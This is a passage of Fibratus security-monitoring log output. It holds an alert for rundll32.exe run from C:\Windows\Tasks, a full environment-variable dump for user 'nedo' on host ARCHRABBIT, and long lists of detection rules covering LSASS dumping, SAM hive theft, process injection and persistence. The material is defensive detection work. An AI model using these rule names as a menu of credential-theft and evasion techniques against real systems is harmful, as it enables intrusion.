Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T14:20:23+01:00 level=info msg=sending alert: [Process execution from unusual directory]. Text: Event(s): + Seq: 3522287 + Pid: 14176 + Tid: 17168 + Type: CreateProcess + CPU: 0 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-04 14:20:21.4438105 +0100 CET + Params: cmdline➜ "C:\Windows\Tasks\rundll32.exe", directory_table_base➜ 2fcbbf000, domain➜ ARCHRABBIT, exe➜ C:\Windows\Tasks\rundll32.exe, exit_status➜ Success, flags➜ , kproc➜ ffffe4843a1b7080, name➜ rundll32.exe, pid➜ 13444, ppid➜ 14176, real_ppid➜ 14176, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-04 14:20:21.4438105 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.seq.link: 1762262558882772164, rule.name: Process execution from unusual directory, tactic.name: Execution, tactic.ref: https://attack.mitre.org/tactics/TA0002/, tactic.id: TA0002 + + Pid: 14176 + Ppid: 12304 + Name: powershell.exe + Parent name: WindowsTerminal.exe + Cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Parent cmdline: "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.23.12811.0_x64__8wekyb3d8bbwe\WindowsTerminal.exe" + Exe: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Cwd: C:\Fibratus\fibratus\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:1aee298e-6944-4721-90e5-241dbdbb85e5 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T14:22:16+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-04T14:22:16+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-04T14:22:16+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-04T15:17:57+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_from_unusual_directory.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-04T15:17:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from 